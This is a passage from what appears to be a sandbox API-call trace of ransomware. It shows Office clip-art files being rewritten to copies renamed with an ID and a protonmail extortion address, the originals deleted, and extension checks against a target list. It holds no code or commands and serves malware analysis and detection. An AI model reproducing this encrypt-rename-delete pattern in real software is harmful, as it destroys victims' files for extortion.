	[0188.612] ReadFile (in: hFile=0x5e8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.615] WriteFile (in: hFile=0x5ec, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.617] ReadFile (in: hFile=0x5e8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.617] WriteFile (in: hFile=0x5ec, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.617] SetEndOfFile (hFile=0x5ec) returned 1
	[0188.617] CloseHandle (hObject=0x5ec) returned 1
	[0188.617] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.617] SetEndOfFile (hFile=0x5e8) returned 1
	[0188.620] CloseHandle (hObject=0x5e8) returned 1
	[0188.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1
	[0188.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.622] lstrlenW (lpString=".doc") returned 4
	[0188.622] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString=".docx") returned 5
	[0188.622] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0188.622] lstrlenW (lpString=".pdf") returned 4
	[0188.622] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString=".xls") returned 4
	[0188.622] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString=".xlsx") returned 5
	[0188.622] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0188.622] lstrlenW (lpString=".ppt") returned 4
	[0188.622] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.622] lstrlenW (lpString=".zip") returned 4
	[0188.622] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString=".rar") returned 4
	[0188.622] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString=".bz2") returned 4
	[0188.622] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.622] lstrlenW (lpString=".7z") returned 3
	[0188.622] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.622] lstrlenW (lpString=".dbf") returned 4
	[0188.623] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.623] lstrlenW (lpString=".1cd") returned 4
	[0188.623] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.623] lstrlenW (lpString=".jpg") returned 4
	[0188.623] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.623] lstrlenW (lpString=".doc") returned 4
	[0188.623] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.623] lstrlenW (lpString=".docx") returned 5
	[0188.623] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1
	[0188.877] lstrlenW (lpString=".pdf") returned 4
	[0188.877] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.877] lstrlenW (lpString=".xls") returned 4
	[0188.877] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.877] lstrlenW (lpString=".xlsx") returned 5
	[0188.877] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1
	[0188.877] lstrlenW (lpString=".ppt") returned 4
	[0188.877] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.877] lstrlenW (lpString=".zip") returned 4
	[0188.877] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.877] lstrlenW (lpString=".rar") returned 4
	[0188.877] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.877] lstrlenW (lpString=".bz2") returned 4
	[0188.877] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.877] lstrlenW (lpString=".7z") returned 3
	[0188.877] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.878] lstrlenW (lpString=".dbf") returned 4
	[0188.878] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.878] lstrlenW (lpString=".1cd") returned 4
	[0188.878] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68
	[0188.878] lstrlenW (lpString=".jpg") returned 4
	[0188.878] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.878] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.878] lstrlenW (lpString="J0101867.BMP") returned 12
	[0188.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.279] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=32616) returned 1
	[0189.279] CloseHandle (hObject=0x5c8) returned 1
	[0189.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220
	[0189.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.438] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.438] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.448] GetLastError () returned 0x0
	[0190.448] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x7f68, lpOverlapped=0x0) returned 1
	[0190.454] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x7f70, lpOverlapped=0x0) returned 1
	[0190.456] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.456] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.456] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.456] CloseHandle (hObject=0x5c8) returned 1
	[0190.456] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.456] SetEndOfFile (hFile=0x580) returned 1
	[0190.465] CloseHandle (hObject=0x580) returned 1
	[0190.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1
	[0190.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.466] lstrlenW (lpString=".doc") returned 4
	[0190.466] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0190.466] lstrlenW (lpString=".docx") returned 5
	[0190.466] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0190.466] lstrlenW (lpString=".pdf") returned 4
	[0190.466] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0190.466] lstrlenW (lpString=".xls") returned 4
	[0190.466] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0190.466] lstrlenW (lpString=".xlsx") returned 5
	[0190.466] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0190.466] lstrlenW (lpString=".ppt") returned 4
	[0190.467] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.467] lstrlenW (lpString=".zip") returned 4
	[0190.467] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString=".rar") returned 4
	[0190.467] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString=".bz2") returned 4
	[0190.467] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString=".7z") returned 3
	[0190.467] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.467] lstrlenW (lpString=".dbf") returned 4
	[0190.467] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.467] lstrlenW (lpString=".1cd") returned 4
	[0190.467] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.467] lstrlenW (lpString=".jpg") returned 4
	[0190.467] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.467] lstrlenW (lpString=".doc") returned 4
	[0190.467] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString=".docx") returned 5
	[0190.467] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0190.467] lstrlenW (lpString=".pdf") returned 4
	[0190.467] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0190.467] lstrlenW (lpString=".xls") returned 4
	[0190.467] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0190.468] lstrlenW (lpString=".xlsx") returned 5
	[0190.468] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0190.468] lstrlenW (lpString=".ppt") returned 4
	[0190.468] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0190.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.468] lstrlenW (lpString=".zip") returned 4
	[0190.468] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0190.468] lstrlenW (lpString=".rar") returned 4
	[0190.468] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0190.468] lstrlenW (lpString=".bz2") returned 4
	[0190.468] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0190.468] lstrlenW (lpString=".7z") returned 3
	[0190.468] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0190.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.468] lstrlenW (lpString=".dbf") returned 4
	[0190.468] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0190.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.468] lstrlenW (lpString=".1cd") returned 4
	[0190.468] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0190.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0190.468] lstrlenW (lpString=".jpg") returned 4
	[0190.468] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0190.468] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.468] lstrlenW (lpString="J0105276.WMF") returned 12
	[0190.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.469] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19240) returned 1
	[0190.469] CloseHandle (hObject=0x580) returned 1
	[0190.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220
	[0190.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.470] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.470] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.471] GetLastError () returned 0x0
	[0190.471] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4b28, lpOverlapped=0x0) returned 1
	[0190.474] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4b30, lpOverlapped=0x0) returned 1
	[0190.475] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.475] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.475] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.475] CloseHandle (hObject=0x5c8) returned 1
	[0190.476] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.476] SetEndOfFile (hFile=0x580) returned 1
	[0190.479] CloseHandle (hObject=0x580) returned 1
	[0190.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1
	[0190.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.481] lstrlenW (lpString=".doc") returned 4
	[0190.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.481] lstrlenW (lpString=".docx") returned 5
	[0190.481] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.481] lstrlenW (lpString=".pdf") returned 4
	[0190.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.481] lstrlenW (lpString=".xls") returned 4
	[0190.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.481] lstrlenW (lpString=".xlsx") returned 5
	[0190.481] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.481] lstrlenW (lpString=".ppt") returned 4
	[0190.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.481] lstrlenW (lpString=".zip") returned 4
	[0190.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.678] lstrlenW (lpString=".rar") returned 4
	[0190.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.678] lstrlenW (lpString=".bz2") returned 4
	[0190.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.678] lstrlenW (lpString=".7z") returned 3
	[0190.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.678] lstrlenW (lpString=".dbf") returned 4
	[0190.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.678] lstrlenW (lpString=".1cd") returned 4
	[0190.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.678] lstrlenW (lpString=".jpg") returned 4
	[0190.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.679] lstrlenW (lpString=".doc") returned 4
	[0190.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString=".docx") returned 5
	[0190.679] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.679] lstrlenW (lpString=".pdf") returned 4
	[0190.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString=".xls") returned 4
	[0190.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.679] lstrlenW (lpString=".xlsx") returned 5
	[0190.679] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.679] lstrlenW (lpString=".ppt") returned 4
	[0190.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.679] lstrlenW (lpString=".zip") returned 4
	[0190.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.679] lstrlenW (lpString=".rar") returned 4
	[0190.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString=".bz2") returned 4
	[0190.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString=".7z") returned 3
	[0190.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.679] lstrlenW (lpString=".dbf") returned 4
	[0190.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.679] lstrlenW (lpString=".1cd") returned 4
	[0190.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0190.680] lstrlenW (lpString=".jpg") returned 4
	[0190.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.680] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.680] lstrlenW (lpString="J0105306.WMF") returned 12
	[0190.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.836] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4320) returned 1
	[0190.836] CloseHandle (hObject=0x5c8) returned 1
	[0190.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220
	[0190.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.837] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.837] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.838] GetLastError () returned 0x0
